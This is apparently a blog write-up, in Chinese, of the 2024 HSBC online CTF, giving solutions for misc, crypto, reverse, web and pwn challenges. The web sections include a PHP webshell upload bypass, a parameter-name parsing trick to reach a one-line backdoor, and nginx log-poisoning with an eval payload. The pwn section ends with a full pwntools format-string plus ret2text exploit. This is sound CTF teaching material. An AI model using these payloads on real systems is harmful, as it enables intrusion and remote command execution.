2024汇丰线上赛WP

这几天打了下汇丰的比赛,总体算比较简单
最近有些忙,没有时间更详细整理,就先将就看看吧

Misc

流量分析

打开流量包,发现存在http对象,且为docm格式

1

打开提示宏被禁用

2

选择启用宏,访问宏管理界面,得到宏代码

Option Explicit
Dim strEncoded, strDecoded
strEncoded = "ZmxhZ3s3ODVkMzRiNy1hMThiLTQ0YmUtOGU0Yi0xYzNkMzhmODhiYWF9"
strDecoded = DecodeBase64(strEncoded)

Debug.Print strDecoded
Function DecodeBase64(strIn)
    Dim objXML, strOut
    Set objXML = CreateObject("Microsoft.XMLDOM")
    objXML.async = False   objXML.loadXML "<root>" & strIn & "</root>"
    DecodeBase64 = objXML.SelectSingleNode("/root").Text
    Set objXML = Nothing
End Function

简要分析,发现是对strEncoded进行base64解码

ZmxhZ3s3ODVkMzRiNy1hMThiLTQ0YmUtOGU0Yi0xYzNkMzhmODhiYWF9解码得到

flag{785d34b7-a18b-44be-8e4b-1c3d38f88baa}

Crypto

简单编码

解码顺序

base64->hex->base91->base58

得到flag为flag{6f1be467900cf5ae57ea2f34e3536635}

什么加密

一个python代码,记录了加密顺序

def encrypt(plaintext, key):
    ciphertext = ''
    for i in range(len(plaintext)):
        char = plaintext[i]
        num = ord(char) - 97
        num = (num + key) % 26
        char = chr(num + 97)
        ciphertext += char
    return ciphertext

plaintext = '********'
flag = "flag{" + "}"
key = 10
ciphertext = encrypt(plaintext, key)
print(ciphertext)
# iyexygmkxlbokursvvmbizdy

核心加密逻辑是(num + key) % 26,解密则就是(num - key + 26) % 26,为了防止出现负数,需要再加上26

解密代码为

def decrypt(plaintext, key):
    decrypttext = ""
    for i in range(len(plaintext)):
        char = plaintext[i]
        num = ord(char) - 97
        num = (num - key + 26) % 26
        char = chr(num + 97)
        decrypttext += char
    return decrypttext

plaintext = 'iyexygmkxlbokursvvmbizdy'
key = 10
decrypttext = decrypt(plaintext, key)
flag = "flag{" + decrypttext + "}"
print(flag)
# flag{younowcanbreakhillcrypto}

Reverse

reverse

IDA逆向出伪代码

int __fastcall main_0(int argc, const char **argv, const char **envp)
{
  char *v3; // rdi
  __int64 i; // rcx
  size_t v5; // rax
  char v7; // [rsp+0h] [rbp-20h] BYREF
  int j; // [rsp+24h] [rbp+4h]
  char Str1[224]; // [rsp+48h] [rbp+28h] BYREF
  __int64 v10; // [rsp+128h] [rbp+108h]

  v3 = &v7;
  for ( i = 82LL; i; --i )
  {
    *(_DWORD *)v3 = -858993460;
    v3 += 4;
  }
  for ( j = 0; ; ++j )
  {
    v10 = j;
    if ( j > j_strlen(Str2) )
      break;
    if ( Str2[j] == 111 )
      Str2[j] = 48;
  }
  sub_1400111D1("input the flag:");
  sub_14001128F("%20s", Str1);
  v5 = j_strlen(Str2);
  if ( !strncmp(Str1, Str2, v5) )
    sub_1400111D1("this is the right flag!\n");
  else
    sub_1400111D1("wrong flag\n");
  return 0;
}

核心加密逻辑是

for ( j = 0; ; ++j )
  {
    v10 = j;
    if ( j > j_strlen(Str2) )
      break;
    if ( Str2[j] == 111 )
      Str2[j] = 48;
  }

Str2是常量,为{hello_world}

3

遍历Str2的每个字符,当这个字符的ascii码值为111时(即o),将它替换成48(即0),所以最后Str2为{hell0_w0rld}

当输入值Str1和Str2相同时提示this is the right flag!

即flag为flag{hell0_w0rld}

flower

IDA逆向出伪代码

int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  size_t v3; // eax
  _BYTE v5[1489]; // [esp+314h] [ebp-688h] BYREF
  size_t i; // [esp+8F0h] [ebp-ACh]
  char Str1[60]; // [esp+8FCh] [ebp-A0h] BYREF
  char Src[40]; // [esp+938h] [ebp-64h] BYREF
  char Str2[56]; // [esp+960h] [ebp-3Ch] BYREF

  Src[0] = -18;
  Src[1] = -28;
  Src[2] = -23;
  Src[3] = -17;
  Src[4] = -13;
  Src[5] = -63;
  Src[6] = -41;
  Src[7] = -26;
  Src[8] = -19;
  Src[9] = -19;
  Src[10] = -20;
  Src[11] = -41;
  Src[12] = -15;
  Src[13] = -72;
  Src[14] = -3;
  Src[15] = -6;
  Src[16] = -41;
  Src[17] = -18;
  Src[18] = -71;
  Src[19] = -23;
  Src[20] = -17;
  Src[21] = -41;
  Src[22] = -18;
  Src[23] = -71;
  Src[24] = -72;
  Src[25] = -1;
  Src[26] = -70;
  Src[27] = -6;
  Src[28] = -5;
  Src[29] = -11;
  Src[30] = 0;
  v3 = j__strlen(Src);
  j__memmove(Str1, Src, v3 + 1);
  sub_439C44("give me a flower\n");
  sub_43B788("%s", Str2);
  sub_439C44("thank you,give you a fuck flag: flag{this_1_a_fuck_f1ag_hahaha}\n");
  for ( i = 0; i < j__strlen(Str1); ++i )
    Str1[i] ^= 0x88u;
  if ( !j__strcmp(Str1, Str2) )
    return sub_439C44("I guess you guessed it\n");
  sub_439C44("try agin agin agin");
  qmemcpy(v5, &unk_4B5EE8, sizeof(v5));
  return sub_439C44("%s");
}

观察易知,Src和Str1应该是存储的flag

核心flag生成逻辑是

for ( i = 0; i < j__strlen(Str1); ++i )
    Str1[i] ^= 0x88u;

python代码

a = [-18,-28,-23,-17,-13,-63,-41,-26,-19,-19,-20,-41,-15,-72,-3,-6,-41,-18,-71,-23,-17,-41,-18,-71,-72,-1,-70,-6,-5,-11,0]
flag = ""
for i in a:
    flag += chr((256+i) ^ 0x88)
print(flag)
# flag{I_need_y0ur_f1ag_f10w2rs}

Web

真SSTI注入

访问根目录获得源码

from flask import Flask, request, render_template_string

app = Flask(__name__)

black_list = ["eval", "exec", "open", "'", "~", "+", "globals", "request", "true", "false",
              'get_flashed_messages', 'range', 'dict', 'cycler', 'self']

def waf(name):
    for x in black_list:
        if x in name.lower():
            return True
    return False

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/user')
def user():
    name = request.args.get("username")
    if waf(name):
        return "no no no"
    return render_template_string(name)

if __name__ == '__main__':
    app.run("0.0.0.0", port=8888)

访问/user目录,传递username,存在ssti模板注入

使用fenjing秒了

4

flag为flag{uDD66UDrt6aWBcEttAt4FhYUrb7t39wX}

文件上传

尝试直接上传木马,被拦截,提示仅能上传jpg文件

将木马后缀修改为jpg,拦截抓包,修改回php后缀,上传成功

5

但是不知道上传路径,尝试/upload/uploads路径均无果

进行信息搜集

6

存在./index.php.swp备份文件,访问获得源码

<?php
session_start();?>
<!DOCTYPE html>
<html lang="en" class="no-js">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>UPLOAD ME</title>

<link rel="stylesheet" type="text/css" href="css/normalize.css" />
<link rel="stylesheet" type="text/css" href="css/demo.css" />

<link rel="stylesheet" type="text/css" href="css/component.css" />
<script>(function(e,t,n){var r=e.querySelectorAll("html")[0];r.className=r.className.replace(/(^|\s)no-js(\s|$)/,"$1js$2")})(document,window,0);</script>

</head>
<body>
        <div class="container">
            <div class="content">
                <div class="box">
                    <form action="index.php" method="post" enctype="multipart/form-data">
                    <input type="file" name="file" id="file-1" class="inputfile inputfile-1" data-multiple-caption="{count} files selected" multiple />
                    <label for="file-1"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="17" viewBox="0 0 20 17"><path d="M10 0l-5.2 4.9h3.3v5.1h3.8v-5.1h3.3l-5.2-4.9zm9.3 11.5l-3.2-2.1h-2l3.4 2.6h-3.5c-.1 0-.2.1-.2.1l-.8 2.3h-6l-.8-2.2c-.1-.1-.1-.2-.2-.2h-3.6l3.4-2.6h-2l-3.2 2.1c-.4.3-.7 1-.6 1.5l.6 3.1c.1.5.7.9 1.2.9h16.3c.6 0 1.1-.4 1.3-.9l.6-3.1c.1-.5-.2-1.2-.7-1.5z"/></svg> <span>閫夋嫨涓€涓枃浠朵笂浼�</span></label>
                    <input type="submit" name="submit" value="Upload" />
                    </form>
                </div>

            </div>

        </div>

        <script src="js/custom-file-input.js"></script>

<div style="text-align:center;margin:10px 0; font:normal 14px/24px 'MicroSoft YaHei';">
</div>
</body>
</html>

<?php

//error_reporting(0);

if(!isset($_SESSION['source']))
{
    $_SESSION['source'] = sha1(rand(0,1000));
}

$finalPos  = getcwd() . "/upload/" . sha1($_SESSION['source']);

$filePos = $finalPos . "/" . basename($fileName);

发现文件上传的路径是/upload/sha1(rand(0,1000))/filename

因为sha1(rand(0,1000))是随机生成的,因此需要爆破

爆破得到路径为/upload/6052521b7625e31d4ee9cc706732484fcf850877/normal.php

蚁剑连接在根目录存在flag

7

flag为flag{UJSv6ugGRMKtffnFUEuKumthatF4aw6m}

隐藏文件

目录扫描,存在/.index.php.swp

8

访问即可下载,发现是这么一个东西

9

注意到最后是php一句话木马,连接密码是c_m.d,但是如果直接使用c_m.d会被转义为c_m_d,利用php8以下版本的解析漏洞,传c[m.d参数实质上会被解析为c_m.d

访问c[m.d=system("cat /flag");

10

你的包含

访问源码,存在提示

11

显然文件包含漏洞,简单fuzz尝试伪协议,php和data被过滤,file读取不到flag文件

转向尝试日志包含,访问/?files=../../../../../var/log/nginx/access.log

12

存在日志包含,使用bp访问/<?php eval($_GET['cmd']);?>路径,直接访问可能出现被url编码而包含失败的问题

再访问/?files=../../../../../var/log/nginx/access.log&cmd=system("ls /");

13

发现可疑的flaaaaag_8d673d5f4ab5文件

访问/?files=../../../../../var/log/nginx/access.log&cmd=system("cat /flaaaaag_8d673d5f4ab5");

得到flag为flag{uYKsYedhgtaxRxhHgQ6u7qWne5F36qRe}

Pwn

pwn2

首先使用checksec检查程序

14

接着使用IDA反汇编,得到主函数伪代码

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v4; // [rsp+8h] [rbp-28h] BYREF
  __int64 *v5; // [rsp+10h] [rbp-20h] BYREF

  sub_4011ED(a1, a2, a3);
  v5 = &v4;
  puts("Please input something:");
  __isoc99_scanf("%s", format);
  puts("haa~ Perhaps it contains unexpected content.");
  printf(format);
  if ( v4 != 119 )
  {
    puts("Bye~");
    exit(0);
  }
  puts("ok, you pass it!");
  __isoc99_scanf("%s", &v5);
  return 0LL;
}
int sub_4011D6()
{
  return system("/bin/sh");
}

并且存在后门函数

观察存在格式化漏洞与栈溢出漏洞

如果v4!=119,则程序终止运行

那么思路就是,先通过格式化字符串漏洞覆写v4的值,使其等于119绕过if判断,再利用第二个scanf函数打ret2text调用后门函数getshell

首先利用%n%p测试格式化字符串漏洞,找到第八个参数为v4,通过输入%119c%8$n将119写入v4绕过if判断

然后打一个ret2text即可,缓冲区大小0x20,再加上8个字节,shell地址为0x4011DE

完整exp

from pwn import *

sh = process("./pwn2")
sh = remote("39.107.234.204",42404)
shell_addr = 0x4011DE

sh.recvuntil(b"Please input something:")
payload = b'%119c%8$n'
sh.sendline(payload)

sh.recvuntil(b"ok, you pass it!")
payload = b'A'*(0x20+8) + p64(shell_addr)
sh.sendline(payload)

sh.interactive()
sh.close()

getshell后执行cat /flag得到flag为flag{x7EJaRB3mkAqUWkU9XJBWfryFMWNStkQ}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇